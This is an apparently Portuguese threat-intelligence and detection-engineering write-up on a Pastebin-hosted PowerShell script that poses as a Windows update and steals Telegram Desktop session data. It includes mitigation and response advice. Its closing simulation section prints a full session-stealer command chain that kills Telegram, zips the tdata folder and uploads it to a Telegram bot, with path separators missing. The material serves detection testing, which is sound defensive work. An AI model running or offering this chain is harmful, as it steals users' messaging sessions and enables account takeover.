Dentro de um Roubador de Sessão do Telegram: Como um Script PowerShell Hospedado no Pastebin Alveja Sessões de Desktop e Web

Resumo

Um script malicioso em PowerShell hospedado no Pastebin se apresenta como uma atualização do Windows enquanto rouba dados de sessão do Telegram Desktop de sistemas infectados. O script coleta detalhes do host, comprime o tdata diretório do Telegram e exfiltra o arquivo resultante através da API do Bot do Telegram. Os pesquisadores também identificaram um stealer baseado na web projetado para capturar chaves de autenticação do Telegram Web e encaminhá-las para um coletor HTTP local. Ambas as ferramentas dependem do mesmo bot do Telegram para notificações, embora as evidências disponíveis sugiram que permanecem em estágio de testes, em vez de uso operacional amplo.

Investigação

Os analistas recuperaram duas variantes de scripts hospedados no Pastebin, descobriram tokens de bot e IDs de chat codificados e reconstruíram o processo completo de exfiltração. Durante a execução, o script termina Telegram.exe, arquiva a tdata pasta e faz o upload do arquivo ZIP através do método API sendDocument do bot. A telemetria do bot também expôs um stealer focado na web que transmitiu chaves de autenticação MTProto para um coletor privado hospedado em 192.168.137.131:5000. Em geral, os achados apontam para testes funcionais e validação, em vez de uma campanha madura e em larga escala.

Mitigação

As organizações que não requerem o Telegram devem bloquear o tráfego de saída para api.telegram.org e infraestruturas relacionadas ao Telegram. Os defensores devem monitorar o PowerShell para uso do Invoke-RestMethod or WebClient alvejando endpoints da API do Telegram e detectar arquivos ZIP criados em diretórios temporários que contenham tdata conteúdo. Qualquer token de bot exposto deve ser revogado imediatamente e substituído para evitar uso indevido adicional.

Resposta

Se o script for descoberto, termine o processo de PowerShell associado e remova qualquer diag.zip arquivos gerados. Revogue todas as sessões ativas do Telegram vinculadas à conta afetada e ative a autenticação em duas etapas para reduzir o risco de acesso contínuo. O token do bot deve ser alterado e o chat do bot vinculado deve ser revisado para evidências de dados exfiltrados. Uma investigação forense mais ampla também deve confirmar se credenciais adicionais ou materiais de sessão foram coletados.

Execução da Simulação

Pré-requisito: O Check de Pré-vôo de Telemetria & Base Deve Ter Sido Aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção.

• Narrativa de Ataque & Comandos:

  1. Reconhecimento: O atacante consulta api.ipify.org para descobrir o IP público do host (usado mais tarde para registro).
  2. Interrupção de Serviço: Para garantir que os arquivos não estejam bloqueados, para o processo legítimo do Telegram Desktop.
  3. Coleta de Dados: Copia recursivamente o tdata diretório do Telegram Desktop (arquivos de sessão) para um local temporário.
  4. Arquivamento: Comprima os dados coletados em diag.zip.
  5. Exfiltração: Envia o arquivo para um Bot malicioso do Telegram via Invoke‑RestMethod.
  6. Limpeza: Exclui o arquivo temporário e, opcionalmente, reinicia o Telegram.

• Script de Teste de Regressão: Executa toda a cadeia de ataque em uma única linha de comando do PowerShell (compatível com a regra de detecção).

  # Atualização de Telemetria do Windows – Ladrão de Sessão do Telegram
  $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
  Stop-Process -Name Telegram -Force;
  $src = "$env:APPDATATelegram Desktoptdata";
  $dst = "$env:TEMPdiag";
  Copy-Item -Path $src -Destination $dst -Recurse -Force;
  Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
  $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
  $chatId = "987654321";
  Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
  Remove-Item -Path "$env:TEMPdiag.zip" -Force;

• Comandos de Limpeza: Restaura o ambiente ao seu estado original.

  # Reinicia o Telegram (se desejado) e remove os dados copiados
  Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
  Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;